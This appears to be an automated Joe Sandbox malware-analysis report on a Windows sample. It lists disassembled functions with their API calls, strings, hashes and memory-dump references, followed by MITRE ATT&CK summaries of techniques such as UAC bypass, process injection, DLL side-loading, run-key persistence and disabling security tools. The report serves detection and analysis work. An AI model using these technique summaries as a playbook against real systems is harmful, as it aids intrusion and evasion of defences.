Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: a585b51a34869390a2d101315a3827c99bd5857a4d9935b68e86138402e93929
Instruction ID: eff7a5b07b8c088208f6d345f5afd61556e779953817862b6543ed05b4c691c0
Opcode Fuzzy Hash: a585b51a34869390a2d101315a3827c99bd5857a4d9935b68e86138402e93929
Instruction Fuzzy Hash: 6E31AD72A0020AABDB25DF64CC95EBE7BE5EB11710B1442ADFC08E7255EB35CD50CBA0

Function 00BBA663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00BBA666
GetDeviceCaps.GDI32(00000000,00000058), ref: 00BBA675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00BBA683
ReleaseDC.USER32(00000000,00000000), ref: 00BBA691

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 9fa7425f18894e7b91610f06af8941848ed2fcef86c8c81bcc15354dbb9098ab
Instruction ID: 89ea97328e4c43c1df56557bb82aef46e6bed3b9de7a631e5ce7766e9b75ee1e
Opcode Fuzzy Hash: 9fa7425f18894e7b91610f06af8941848ed2fcef86c8c81bcc15354dbb9098ab
Instruction Fuzzy Hash: CCE0EC71943BA1ABD3615B60AD4DB8F3E68EB05B57F024101FA099A2D0DB648600CBA1

Function 00BBA80C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00BBA699: GetDC.USER32(00000000), ref: 00BBA69D
Part of subcall function 00BBA699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00BBA6A8
Part of subcall function 00BBA699: ReleaseDC.USER32(00000000,00000000), ref: 00BBA6B3

GetObjectW.GDI32(?,00000018,?), ref: 00BBA83C

Part of subcall function 00BBAAC9: GetDC.USER32(00000000), ref: 00BBAAD2
Part of subcall function 00BBAAC9: GetObjectW.GDI32(?,00000018,?), ref: 00BBAB01
Part of subcall function 00BBAAC9: ReleaseDC.USER32(00000000,?), ref: 00BBAB99

Strings

(, xrefs: 00BBA9AA

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: b48e50693cab91723ab4eb83e60c065af21c1e1f23a058b54a03bb0112ed69b2
Instruction ID: 071b6ddc19967f5b8d7fc14eb62ee84c90d6ca436904dde79f542914d4b4cff7
Opcode Fuzzy Hash: b48e50693cab91723ab4eb83e60c065af21c1e1f23a058b54a03bb0112ed69b2
Instruction Fuzzy Hash: 4A91E0B1A08350AFD610DF25D894A6BBBE8FFC8701F00495EF59AD3260DB70A945CF62

Function 00BCB1B8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BCB324

Part of subcall function 00BC9097: IsProcessorFeaturePresent.KERNEL32(00000017,00BC9086,00000050,00BD3A34,?,00BAD710,00000004,00BE1030,?,?,00BC9093,00000000,00000000,00000000,00000000,00000000), ref: 00BC9099
Part of subcall function 00BC9097: GetCurrentProcess.KERNEL32(C0000417,00BD3A34,00000050,00BE1030), ref: 00BC90BB
Part of subcall function 00BC9097: TerminateProcess.KERNEL32(00000000), ref: 00BC90C2

Strings

*?, xrefs: 00BCB1FB
., xrefs: 00BCB4DB

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 24177f1303fc0c2b907af2c7b7eb43e02322faf7c38b9a999d5b9cde15d1856f
Instruction ID: 7183a8a3a257e160e760e9fcd80e3d08e8d246d17a5f0f0f20f9480e014c6f97
Opcode Fuzzy Hash: 24177f1303fc0c2b907af2c7b7eb43e02322faf7c38b9a999d5b9cde15d1856f
Instruction Fuzzy Hash: 49514F71E0010AAFDF14DFA8C882EADBBF5EF98314F2581ADE855E7341E7359A018B50

Function 00BA75DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA75E3

Part of subcall function 00BB05DA: _wcslen.LIBCMT ref: 00BB05E0

Part of subcall function 00BAA56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00BAA598

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00BA777F

Part of subcall function 00BAA4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00BAA325,?,?,?,00BAA175,?,00000001,00000000,?,?), ref: 00BAA501
Part of subcall function 00BAA4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00BAA325,?,?,?,00BAA175,?,00000001,00000000,?,?), ref: 00BAA532

Strings

:, xrefs: 00BA7654

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: 59d1a56971c3865bee41dad9459326e9ab653e830abde93f2cf0d45d72758c77
Instruction ID: 4951655c9614ab97bd2f52fb209a94d1ea5622bf10f8392f671981fb18ef2fff
Opcode Fuzzy Hash: 59d1a56971c3865bee41dad9459326e9ab653e830abde93f2cf0d45d72758c77
Instruction Fuzzy Hash: 3A414371809158AAEB35EB64CC96EEEB3F8EF56300F0040D6B605A2192DB745F85DF71

Function 00BBB48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BBB4E3
_wcslen.LIBCMT ref: 00BBB4FE

Strings

}, xrefs: 00BBB4D6

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: f90671e469abb412a32c9b2d056fc0ca598369925bdbca16a454e458424e3df3
Instruction ID: 0b99f081a0440993f42be5b728c31742629bd54c39ba737984f7afea524dcbbc
Opcode Fuzzy Hash: f90671e469abb412a32c9b2d056fc0ca598369925bdbca16a454e458424e3df3
Instruction Fuzzy Hash: 18219D7290421A5BD731AA64D855FBAB3ECEFA1760F5404AAF540C2242EBE5D94883B3

Function 00BAF344 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00BAF2C5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00BAF2E4
Part of subcall function 00BAF2C5: GetProcAddress.KERNEL32(00BE81C8,CryptUnprotectMemory), ref: 00BAF2F4

GetCurrentProcessId.KERNEL32(?,?,?,00BAF33E), ref: 00BAF3D2

Strings

CryptProtectMemory failed, xrefs: 00BAF389
CryptUnprotectMemory failed, xrefs: 00BAF3CA

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 7029dd371277d94c8eb5007374901d6a306e19a267ddb185918f8838081dd33b
Instruction ID: 553132d608e95fac02830f961857e65d25e4fcaae9969a200f29f464b56d54e9
Opcode Fuzzy Hash: 7029dd371277d94c8eb5007374901d6a306e19a267ddb185918f8838081dd33b
Instruction Fuzzy Hash: BD1136316096266BDF119F61DC416BE77D4EF06B20B0440E6FC056F292EE309D018796

Function 00BAB991 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00BAB9B8

Part of subcall function 00BA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BA40A5

Strings

%c:\, xrefs: 00BAB9AE

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: cb5e02908521ba395d8ef364ab8379c3d818f236cccd7bb7b2dc53e41602bc03
Instruction ID: c1d0a436a9eaf405344e1a251c74c721b09c1339dc14081cc08e853cae82e61d
Opcode Fuzzy Hash: cb5e02908521ba395d8ef364ab8379c3d818f236cccd7bb7b2dc53e41602bc03
Instruction Fuzzy Hash: A201D263508312699A306B759C82E6BABECEE93770B40849FF5A4D6183FB30D84482B1

Function 00BB101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00BB1160,?,00000000,00000000), ref: 00BB1043
SetThreadPriority.KERNEL32(?,00000000), ref: 00BB108A

Part of subcall function 00BA6C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BA6C54

Strings

CreateThread failed, xrefs: 00BB104F

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 0a433079606087e704aa3c94116ea721582f849a161813830bbbd0ea4df5f7af
Instruction ID: 570f06c20b84f76ac6b3f61b18ea67389ca78967315c4c5d130ee4caec5ab632
Opcode Fuzzy Hash: 0a433079606087e704aa3c94116ea721582f849a161813830bbbd0ea4df5f7af
Instruction Fuzzy Hash: 3F01DBB53443496BD330AF6C9C61BB6B3E8EB40751F6008AEF58656181DEF1A8844624

Function 00BA1316 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00BAE2E8: _swprintf.LIBCMT ref: 00BAE30E
Part of subcall function 00BAE2E8: _strlen.LIBCMT ref: 00BAE32F
Part of subcall function 00BAE2E8: SetDlgItemTextW.USER32(?,00BDE274,?), ref: 00BAE38F
Part of subcall function 00BAE2E8: GetWindowRect.USER32(?,?), ref: 00BAE3C9
Part of subcall function 00BAE2E8: GetClientRect.USER32(?,?), ref: 00BAE3D5

GetDlgItem.USER32(00000000,00003021), ref: 00BA135A
SetWindowTextW.USER32(00000000,00BD35F4), ref: 00BA1370

Strings

0, xrefs: 00BA1319

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 9c58e17c88b331bf482ecfa8ec811eb81eb5510b1d67d7090cac6ab061481918
Instruction ID: 33361c4be382bbef9f6f6783b8b989500dd04975f0ed2d813e4085c2ce6bcbf2
Opcode Fuzzy Hash: 9c58e17c88b331bf482ecfa8ec811eb81eb5510b1d67d7090cac6ab061481918
Instruction Fuzzy Hash: D7F0AF30109388BADF550F698C0DBEE3BECEF46345F048994FC44505A2CB74CA90EA28

Function 00BB0FE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00BB1206,?), ref: 00BB0FEA
GetLastError.KERNEL32(?), ref: 00BB0FF6

Part of subcall function 00BA6C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BA6C54

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00BB0FFF

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: f47e1d1bd62be6c3faf39e653db0c6d7ce498042ae9593dde02f18ea494c92b9
Instruction ID: d378c5c1343902192c074b58fab19cd28ac7d3253c7303c50eb06a93be9e1435
Opcode Fuzzy Hash: f47e1d1bd62be6c3faf39e653db0c6d7ce498042ae9593dde02f18ea494c92b9
Instruction Fuzzy Hash: 51D02B7250C12037C61033285C15D7EBA84CB12731B640B95F038622F3EF2009814292

Function 00BAE29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00BADA55,?), ref: 00BAE2A3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00BADA55,?), ref: 00BAE2B1

Strings

RTL, xrefs: 00BAE2AB

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 1333bf7e3a9706debbc130cfea6962a6c5f38a92583c1b0db76f92653582094f
Instruction ID: 2059a1787f21f93f72a89ffd2a5df15a59737fe02833d0bcbecda5bd0207b41a
Opcode Fuzzy Hash: 1333bf7e3a9706debbc130cfea6962a6c5f38a92583c1b0db76f92653582094f
Instruction Fuzzy Hash: EDC0123124571066E63427646C1DB47ABD85B01F11F05049EB141EA2D2EAA5C54087A1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
